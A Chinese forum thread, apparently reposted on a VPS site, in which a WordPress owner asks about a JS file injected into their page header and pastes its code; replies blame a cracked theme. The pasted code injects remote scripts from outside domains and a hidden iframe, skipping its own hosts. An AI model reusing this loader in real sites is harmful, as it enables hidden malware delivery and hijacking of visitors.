好几年没开过站，才搞了个站就被植入了_美国VPS

网站页头被植入了这个JS文件
有人帮我看看是什么吗
再次刷新不见了
谢谢
t.wsgblw.com:88/j1.js?MAC=2CB21A986116

打开是下面内容

function newjs(){
var star = document.createElement("script");
star.src = "http://junkucm.com/bd/query.js?vid=40000";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(star, s);
};

function old(){
var star = document.createElement("script");
star.src = "http://qet.jsncke.com/s/js/jquery.js?_qwert_sid=568808220&_zxcvb_pid=990834033262&rnd=1210";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(star, s);
};

function abc() {
var wy = document.createElement("div");
wy.style = "display:none";
wy.innerHTML = "<iframe src=\"http://t.7gg.cc:88/new.html\" ></iframe>";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(wy, s);
};

function forbidHost(){
      var host = top.window.location.host;
      if ((host.indexOf(".7gg.cc") != -1)||(host.indexOf(".junkucm.com") != -1)||(host.indexOf(".wsgblw.com") != -1)){
         return true;
      }
}

aa();

function aa(){
         if(forbidHost()){
         return false;
      }

var mbad=Math.ceil(Math.random()*10);
if (mbad!=0){
newjs();
abc();
}else{
old();
abc();
}
}

WP 用过破解主题换另外的官方主题还是出现JS文件
宝塔
阿里云

黑龙江网友:是不是用了不干净的模板还有插件啊
西藏网友:用了什么破解版之类的？
重庆网友:是有用破解模板
怎么我查到之后刷新植入代码消失了
广东网友:用的破解模板
看来是这个问题导致

就是苏醒的那个模板换回官方了

西藏网友:有可能是劫持搞鬼
宁夏网友:劫持那是所有网站页头都有那个代码吧
现在只有我自己站才出现
湖南网友:用wp从来没被黑过

织梦被黑过

未经允许不得转载：美国VPS_搬瓦工CN2 GIA VPS » 好几年没开过站，才搞了个站就被植入了